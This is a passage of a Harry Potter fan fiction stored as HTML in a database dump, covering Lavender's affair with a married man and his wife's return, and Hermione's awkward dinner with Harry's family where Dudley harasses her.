class="MsoNormal">Lavender pulled\nher hood up over her head as the first drops of cold rain began to fall. She\nhurried up the drive and into the open front door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello?&#8221; she\ncalled out as she stepped inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Up here!&#8221; Henry\ncalled back. Lavender climbed the dusky stairway, it was growing darker due to\nthe storm and she wanted to be up where Henry was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi!&#8221; she said\nbreathlessly as she reached the top. Henry had a blanket on the floor, with\ncandles around. Romantic, she noted, although she wasn&#8217;t sure if that was his\nintent or not.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lavender.&#8221;\nHenry smiled at her. She pulled her cloak off and set it aside, holding the\npizza box in front of her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Food!&#8221; Henry\nseemed extremely pleased. Lavender laughed and sat down on the blanket.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on then,\nlet&#8217;s eat before this heating charm wears off.&#8221; She opened the box and pulled a\nslice out. He flopped himself down on the blanket next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can&#8217;t\npossibly believe in that story I told you.&#8221; Henry said, ravenously biting into\nhis own slice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh why not?&#8221;\nLavender asked in her own defense, turning to look out the window as lightning\nflickered. The storm had come on full force.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because it&#8217;s\njust a story.&#8221; Henry replied, looking up at her with a teasing glint in his\neye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sat back\non her elbows, stretching her legs in front of her. &#8220;But it&#8217;s a proven fact\nthat all stories come from a true source, so if it&#8217;s not Charles Rochester,\nthen it&#8217;s someone else haunting the house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry sat back as\nwell, right next to her. &#8220;You surprise me sometimes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do?&#8221; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re just so\nfull of knowledge, you remind me of myself so much.&#8221; He turned and looked at\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that good or\nbad?&#8221; she asked teasingly, a bit flustered at having him so close.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good I should\nthink&#8230;&#8221; he grinned, and was about to say more when a loud and long creak was\nheard from the floorboards outside. Lavender and Henry both turned at the same\ntime to look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was that?&#8221;\nhe asked, a smile spreading slowly over his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Charles\nRochester!&#8221; Lavender cried triumphantly. &#8220;I TOLD you so!!&#8221; she leaned forward\nand pushed lightly on his shoulder. But before she could lean back, Henry had\ngrabbed the front of her shirt, pulling her closer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He looked down at\nher, her eyes were wide, her mouth slightly open in surprise, and before Henry\ncould stop himself, he was leaning down to lightly kiss her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender felt her\nbody stiffen as Henry&#8217;s mouth touched hers. However, at that moment, her mind\ntook over and her arms were snaking around his neck, pulling him closer for a\ndeeper kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry responded,\nforcing her lips apart with his tongue, giving in to what he realized he wanted\nfor a while now. His hand came up to lightly touch her cheek, caressing her\nface gently. His other hand began to tug at the buttons on her blouse slowly,\ngiving Lavender time to stop him if that was what she wanted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She didn&#8217;t want\nto stop. Her body rose underneath his as he got the last button undone, then\nthey both sat up as he gently peeled it off her frame. It was discarded on the\nfloor, and moments later his shirt fell on top of it. Henry ran his hand up her\nsmooth arm, pulling her back to him for another mind searing kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender felt a\nsmall cry escape from her throat as Henry pushed her back onto the blanket.\n&#8220;Please&#8230;Henry&#8230;&#8221; she whimpered as he trailed his lips down her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender&#8230;&#8221; his\nvoice was husky as he raised himself up. &#8220;We shouldn&#8217;t be doing this&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, we\nshouldn&#8217;t&#8230;&#8221; she said, her voice faint. &#8220;But I don&#8217;t think we can stop&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender huddled\nclose to Henry, resting her head on his back as he flew them home. The rain was\nstill lashing down quite fiercely, but she still felt quite warm from the\nactivity that had just taken place.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry loved her!\nShe was sure of it. Everything was falling into place. Henry would divorce his\nwife, propose to her, and she would be Lori&#8217;s mother and Henry&#8217;s wife. She\nwould be Mrs. Henry Bowers, Mrs. Lavender Bowers. She hugged his midsection\ntighter as he manoeuvred them down in front of his house. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He flew them\nright under the roof of the porch, where he sent them down gently. Lavender\nhopped off as he set the broom against the railing. They stared at each other\nfor a long moment, and then Henry came forward and kissed her once more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, let&#8217;s\ngo in.&#8221; he said, grabbing her hand. She smiled and pressed close to him as he\nopened the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh there you\nguys are!&#8221; Susan popped up immediately, her eyes wide. &#8220;Lavender, did you get\nthat medicine for your aunt?&#8221; she asked loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender looked\nat her in confusion. &#8220;What?&#8221; They trailed behind Susan as she slowly backed\ninto the living room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry&#8217;s eyes went\nwide as they came into the room. &#8220;Nicole!&#8221; he exclaimed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender stared\nin shock. His wife had come home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Awww aren&#8217;t\nI mean? I don&#8217;t give you any H/Hr and poor Lav; the &#8216;other&#8217; woman has come\nhome&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, please\nreview, I&#8217;ll try and have the next chapter up ASAP. I&#8217;m also working on the\nsecond chapter of Shadows, hopefully that&#8217;ll be up soon!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 16, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 16</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well I&#8217;m\nsorry for leaving you off at that cliffie, and I really hope you guys won&#8217;t\ntotally hate me after this chapter *cowers in corner* I&#8217;ll explain more at the\nbottom&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to all you\nguys who reviewed! I do appreciate it, like I say every chapter :D LOL but it\nmakes a huge difference in how I feel about writing, when I see you guys did or\ndidn&#8217;t enjoy something. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, I know I\nsaid in the second chapter that Harry has a younger brother, but he really\ndoesn&#8217;t fit in like I wanted him to. So he&#8217;s gone&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Within the\nShadows of Hatred IS coming, I promise. I&#8217;m just experiencing (Ryoko&#8217;s)\nwriter&#8217;s block on it, and it&#8217;s slowly but surely being written. Should be up\nsoon :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, enjoy\nthis&#8230;I hope&#8230;. *eek*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender stared\nin shock as Henry finally moved across the room and gave his wife a hug. &#8220;It&#8217;s\ngreat to have you back.&#8221; He said, still in a bit of shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was lucky and\nwas able to come back sooner than I thought.&#8221; Nicole smiled up at him. She\nturned to Lavender, who was still in the doorway. &#8220;Hi, I&#8217;m Nicole Bowers, you\nmust be Lavender.&#8221; She came forward and shook her hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi.&#8221; Lavender\nmanaged back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you for\neverything you&#8217;ve done for Lori, you&#8217;re all she would talk about.&#8221; Nicole said\npleasantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s an amazing\nchild.&#8221; Lavender uttered. She sent Henry a pleading look, wanting him to do\nsomething, SAY something, anything. He only stared back at her, his eyes filled\nwith sorrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender, we\nshould probably be getting back to your aunt&#8230;&#8221; Susan said softly after a long\nmoment. She had come up next to Lavender without her even knowing it. Ron stood\nin the doorway, holding their cloaks, looking at Lavender sympathetically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She would later\nremember nothing of the ride home, nor how she got inside her house. In fact,\nshe didn&#8217;t even realize she was trudging up the stairs until her cousin&#8217;s face\nappeared right in front of hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe\nyou took my boots!&#8221; Hermione fumed. &#8220;I told you those weren&#8217;t supposed to get\nwet, and you wore them in the rain! And you used my brush while I was gone with\nHarry too!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender ignored\nHermione, instead she brushed past her and into her room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione glowered\nat her as she slammed the door shut. &#8220;Lavender, are you alive?&#8221; she called\nsarcastically. She roughly pushed the door back open and was stunned to see her\ncousin sitting on the side of her bed, sobbing. Hermione was immediately\nashamed of herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender what&#8217;s\nwrong?&#8221; she asked, her voice softer and sympathetic. Sitting down on the bed\nnext to her, she brushed back Lavender&#8217;s wet hair in a comforting manner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She came back\ntonight&#8230;&#8221; Lavender said, turning her tearstained face towards her cousin. She\ndidn&#8217;t care if she and Hermione had been fighting; she needed a supportive\nshoulder at the moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh shit&#8230;&#8221;\nHermione said, resting her hand on Lavender&#8217;s arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He just stood\nthere looking at me once we came in the door! He wouldn&#8217;t talk to me, he just\nstared at me!&#8221; she burst out, tears gushing once more. &#8220;I felt so stupid!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione made a\nsmall sound with her throat and hugged her cousin tightly. &#8220;You&#8217;ll be all\nright.&#8221; She said soothingly. &#8220;It&#8217;s going to be tough, but you&#8217;ll be all right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why does it hurt\nso much?&#8221; Lavender sobbed. &#8220;Why did he have to act like that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione just\nheld her and stroked her hair for a long while, until Lavender&#8217;s sobs began to\ncease. &#8220;I&#8217;ll go get you some tea, okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;please&#8230;I\ndon&#8217;t want to be left alone.&#8221; Lavender said. &#8220;But tea sounds good&#8230;&#8221; the two\ngirls went downstairs. Hermione lit the kitchen up, and began hunting through\nthe cabinets.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know Mum just\nbought some more&#8230;aha!&#8221; Hermione crowed triumphantly as she pulled a small box\nfrom the cupboard. She quickly heated water and sat two mugs before herself and\nLavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221;\nLavender said. She was starting to feel tired, she&#8217;d been on an emotional\nroller coaster all day and her mind felt like it was in overload now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat her cousin as she sipped her tea. &#8220;Lavender?&#8221; she asked, setting her mug\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; she looked\nup from her own cup.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really sorry\nabout earlier.&#8221; Hermione said. &#8220;I should have seen you were upset when you\nwalked in, and instead I jumped all over you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay,\nHermione.&#8221; Lavender replied quietly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know I get a\nlittle&#8230;. self absorbed&#8230;. a lot&#8230;&#8221; Hermione said. &#8220;And I&#8217;m sorry for the things I\nsaid that night at the pizza parlour.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221;\nLavender looked up and gave a tiny smile. &#8220;And I&#8217;m sorry too, for what I said\nabout you and Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione came\nover and sat next to her. &#8220;Lav you&#8217;re too forgiving for your own good\nsometimes. Promise me if Henry tries to contact you, you won&#8217;t give in to him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender&#8217;s smile\nslipped off her face. &#8220;Hermione&#8230;I don&#8217;t know what to think of him right now. I\nreally fell in love with him.&#8221; A lone tear fell down her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s a guy\nout there for you&#8230;you just have to find him. Henry wasn&#8217;t it.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t want to\nbe with a man ever again!&#8221; Lavender said vehemently as tears poured forth once\nagain. Hermione knew it was useless to try and tell her otherwise, so she\nsimply held her cousin while she cried. She&#8217;d be all right, but it would take\ntime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry are you\nsure this dress is all right?&#8221; Hermione asked as they walked up to the front\nporch of the Potter&#8217;s home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took\nHermione&#8217;s hand in his and raised it to his lips. &#8220;You look gorgeous, love.&#8221; He\nsaid, kissing it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smoothed\nher dress she wore under her cloak. When Harry had invited her again for\ndinner, he&#8217;d told her since his mother&#8217;s sister Petunia and her family were\ncoming, it was to be a formal supper. She remembered her frustration that she&#8217;d\nhad nothing to wear that was just right, until her mother had come in with a\nbeautiful ivory sheath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;&#8221; It was mine,\nwhen I was your age.&#8221; Jane had explained, holding it out to her daughter. &#8220;I\ndon&#8217;t know if you&#8217;ll think it&#8217;s modern enough but&#8230;&#8221;&#8217; she&#8217;d been cut off as\nHermione had come forward and hugged her tightly. Surprised but happy, she had\nsqueezed her daughter tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was a perfect\ndress, Hermione reasoned, but she was still nervous that James and Lily Potter\nwouldn&#8217;t think she was good enough for their eldest son, and she was also\nterrified that his sister Alexa would act towards her after the whole Windrider\nfiasco.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait one\nminute.&#8221; Harry was saying now, as they were about to go in the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why what&#8217;s\nwrong?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing.&#8221; Harry\ngrinned as he looked down at her. &#8220;I just wanted you alone for a few moments\nbefore we go in there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see how it\nis.&#8221; Hermione said, her lips curving upwards. &#8220;But I tell you Potter, don&#8217;t you\ndare muss my hair.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed,\nand then bent his head down to kiss her softly for a few moments. &#8220;I don&#8217;t want\nto share you tonight&#8230;&#8221; he mumbled in her ear. &#8220;Let&#8217;s go somewhere else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Hermione\npushed him away. &#8220;I already had to miss one dinner with your parents, I&#8217;m not\ndoing that again!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on,\nplease?&#8221; Harry tried his best to convince her, but she was firm in her\ndecision. &#8220;Only you could convince me to stay here tonight&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is your family\nreally that bad?&#8221; Hermione asked, taking her index finger and running it along\nthe lines of his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have no\nclue.&#8221; Harry smirked. &#8220;My aunt and uncle are terrified of anything magic, but\nthey keep in touch with my mother because she and my father are so rich.&#8221; He\nrolled his eyes. &#8220;And Dudley&#8230;well you&#8217;ll see for yourself about him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He grabbed\nHermione&#8217;s hand tightly in his and opened the door. Hermione smiled as she\nlooked around, she had fond memories of that place, especially what had gone on\nupstairs. Harry hung their cloaks up in the foyer, and then led them into the\ndining room, where she got her first glimpse at his family.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">James Potter was\ntaller than she thought he would be, but she supposed that was where Harry got\nhis looks. He had black hair, although his was not messy like Harry&#8217;s, and they\nboth held themselves the same way. He was talking to who Hermione assumed was\nHarry&#8217;s Uncle Vernon Dursley. Vernon was as round as James was tall, with a\nthick moustache he kept touching as if to make sure it was still there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily Potter was\non the other side of the room talking to Alexa. She had red hair that was\nelaborately pulled up in a twist, and her slim figure was housed in an emerald\ngreen dress that matched her and Harry&#8217;s eyes. Hermione had seen pictures of\nher before in the Daily Prophet, but she was truly stunning in person.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And then in the\nmiddle of the room was a blonde woman with a long neck; talking to the fattest\nperson Hermione had ever seen. He looked like a beached whale in a nice suit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s Dudley&#8230;&#8221;\nHarry whispered in her ear, squeezing her hand a little tighter. Before she got\nto respond, Lily had caught sight of them in the doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, darling!&#8221;\nshe smiled widely at the sight of her eldest son. She glided across the room,\nAlexa following behind her. He felt Hermione go stiff from nerves, and he gave\nher a reassuring smile. She relaxed as her eyes caught his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily gave her son\na hug, then turned to the girl standing next to him. &#8220;You must be Hermione.&#8221;\nShe said, smiling warmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello.&#8221; Hermione\nsaid, as Lily brushed her cheeks with an air kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ve heard\nnothing else but things about you since you and Harry started seeing each\nother.&#8221; Lily said, hooking her arm into Hermione&#8217;s. &#8220;Let me introduce you to my\nhusband&#8230;.&#8221; She pulled Hermione away from Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looks like Mum&#8217;s\ntaken to her already.&#8221; Alexa said, leaning up against her brother. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s good.&#8221;\nHarry answered, his eyes following his girlfriend around the room. He noticed\nwith disgust that Dudley was also eyeing her up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s about time\nhe noticed something other than what&#8217;s on his dinner plate.&#8221; Alexa smirked,\nnodding in the Dursley&#8217;s direction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry narrowed\nhis eyes. &#8220;I just wish it wasn&#8217;t my girlfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Afraid Dudley&#8217;s\nporky arse will woo her away?&#8221; Alexa teased. Harry turned and looked at her\nwith an expression of horror on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If&#8230;no&#8230;shut up\nLex.&#8221; Harry glared at her, and then playfully shoved her aside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A servant came in\nwith a large covered platter, and another followed behind with an enormous\nbasket. They placed them on the table, and then moved back while everyone sat\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was hoping\nthat Alexa would sit on the other side of Hermione, but somehow Dudley managed\nto dart in before she could. He heaved a sigh, then held her chair for her as\nshe sat down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Harry.&#8221;\nShe said quietly, smiling at him. He noticed that her nervousness seemed to\nhave evaporated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Hermione!&#8221;\none of the maids leaned down and grinned at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Parvati!&#8221;\nHermione said in shock. Parvati Patil had been a classmate of hers back at\nHogwarts. &#8220;How&#8230;how are you?&#8221; she asked politely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m great!&#8221; she\nexclaimed. Hermione looked up to see everyone else at the table watching the\nexchange between the two girls. &#8220;Are you still waitressing down at the pizza\nparlour?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Parvati.&#8221; James\nsaid, and she immediately ducked her head and went away from the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry didn&#8217;t\ntell us you&#8217;re a waitress, Hermione.&#8221; James then said pleasantly. &#8220;Mrs. Potter\nand I consider ourselves pizza connoisseurs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a light\nchuckle from everyone at the table as Lily smiled at her husband.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Remember when we\nspent that summer in Cape Cod?&#8221; Alexa said. &#8220;I worked in a pizza parlour\nthere.&#8221; She looked down at Hermione, trying to make her feel more at ease.\n&#8220;Remember Mum?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh yes.&#8221; Lily\nsaid. &#8220;There&#8217;s certainly nothing wrong with waitressing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a noble\nprofession.&#8221; Harry said, a bit sarcastically. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s certainly a\nprofession, at any rate.&#8221; James said crisply. Vernon nodded in agreement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As opposed to\nwhat I do?&#8221; Harry asked sharply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just what is it\nthat you do?&#8221; James asked, his tone low and dangerous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come now, James,\nHarry&#8230;&#8221; Lily broke in, shooting both of them a warning glance. &#8220;Petunia, how\nare your escargot?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wonderful.&#8221;\nPetunia said, her nose lifted slightly in the air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The table was\nsilent as everyone dug into their food; the only sounds were the clink of forks\nand knives against the plates. Harry reached for more sauce, when he noticed\nDudley&#8217;s piggy eyes aimed directly at Hermione&#8217;s chest. He cleared his throat\nloudly, and Dudley looked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop.&#8221; Harry\nmouthed angrily. Dudley&#8217;s eyes widened in fear, he was scared to death of his\n&#8216;magical&#8217; cousin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The dinner went\non smoothly enough, although Harry was growing angrier each passing moment.\nDudley was careful not to look at his cousin again, but he managed to brush his\nhand and foot against Hermione repeatedly. She was increasingly uncomfortable\nwith this, but unwilling to cause a scene in front of Harry&#8217;s relatives.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was just\ntaking a spoonful of a flamb&#233; that had just been served when she became aware\nof Dudley leaning closer. His breath reeked from the amount and combination of\nfood he had consumed during the meal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a very\nsexy woman, you know.&#8221; He whispered in her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me?&#8221; she\nasked quietly. A quick glance around the table told her that no one was paying any\nattention to them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why are you with\nHarry, when you could be with me?&#8221; Dudley asked, audaciously snaking his hand\nup to place on her leg. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nasked, shocked. He squeezed her leg gently. &#8220;Would you kindly remove your hands\nfrom me!&#8221; she hissed. She tried to pry his chubby hand off her thigh but he\nsqueezed harder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry seethed as\nhe saw his cousin&#8217;s hand. Unable to control himself any longer, he reached\naround Hermione and slapped the back of Dudley&#8217;s head. His fat face went down\ninto the sticky dessert, splattering it across the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; 